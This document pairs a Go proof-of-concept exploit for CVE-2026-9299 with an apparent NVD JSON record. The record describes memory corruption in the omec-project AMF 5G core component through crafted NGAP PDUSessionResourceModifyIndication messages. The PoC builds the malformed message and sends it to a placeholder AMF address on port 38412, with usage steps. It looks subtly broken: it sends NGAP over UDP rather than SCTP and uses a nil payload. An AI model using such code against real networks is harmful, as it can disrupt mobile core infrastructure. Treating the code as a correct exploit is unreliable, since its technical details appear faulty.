CVE-2026-9299

// CVE-2026-9299 PoC - PDUSessionResourceModifyIndication Memory Corruption // This PoC demonstrates sending malicious NGAP PDUSessionResourceModifyIndication message package main import ( "fmt" "net" "github.com/omec-project/ngap" "github.com/omec-project/ngap/ngapType" ) func createMaliciousPDUSessionResourceModifyIndication() (*ngap.NGAPPDU, error) { // Create NGAP PDU for PDUSessionResourceModifyIndication pdu := &ngap.NGAPPDU{ InitiatingMessage: &ngapType.InitiatingMessage{ ProcedureCode: ngapType.ProcedureCodePDUSessionResourceModifyIndication, Criticality: ngapType.CriticalityReject, Value: nil, // Malformed data causing memory corruption }, } return pdu, nil } func sendMaliciousPacket(targetIP string, targetPort int) error { conn, err := net.DialUDP("udp", nil, &net.UDPAddr{ IP: net.ParseIP(targetIP), Port: targetPort, }) if err != nil { return err } defer conn.Close() pdu, err := createMaliciousPDUSessionResourceModifyIndication() if err != nil { return err } // Encode and send the malicious NGAP message data, err := ngap.Encoder(pdu) if err != nil { return err } _, err = conn.Write(data) return err } func main() { targetIP := "<AMF_IP>" targetPort := 38412 // Standard NGAP port fmt.Println("Sending malicious PDUSessionResourceModifyIndication...") if err := sendMaliciousPacket(targetIP, targetPort); err != nil { fmt.Printf("Error: %v\n", err) } else { fmt.Println("Malicious packet sent successfully") } } // Usage: // 1. Replace <AMF_IP> with target AMF server IP // 2. Ensure network connectivity to AMF N2 interface // 3. Run: go run poc.go

{"cve": {"id": "CVE-2026-9299", "sourceIdentifier": "[email protected]", "published": "2026-05-23T11:16:55.657", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in omec-project amf up to 2.1.1. Affected by this issue is the function PDUSessionResourceModifyIndication of the file /go/src/amf/ngap/handler.go. This manipulation causes memory corruption. Remote exploitation of the attack is possible. The exploit has been published and may be used. Applying a patch is the recommended action to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "references": [{"url": "https://github.com/omec-project/amf/", "source": "[email protected]"}, {"url": "https://github.com/omec-project/amf/issues/681", "source": "[email protected]"}, {"url": "https://github.com/omec-project/amf/pull/666", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811829", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365246", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365246/cti", "source": "[email protected]"}]}}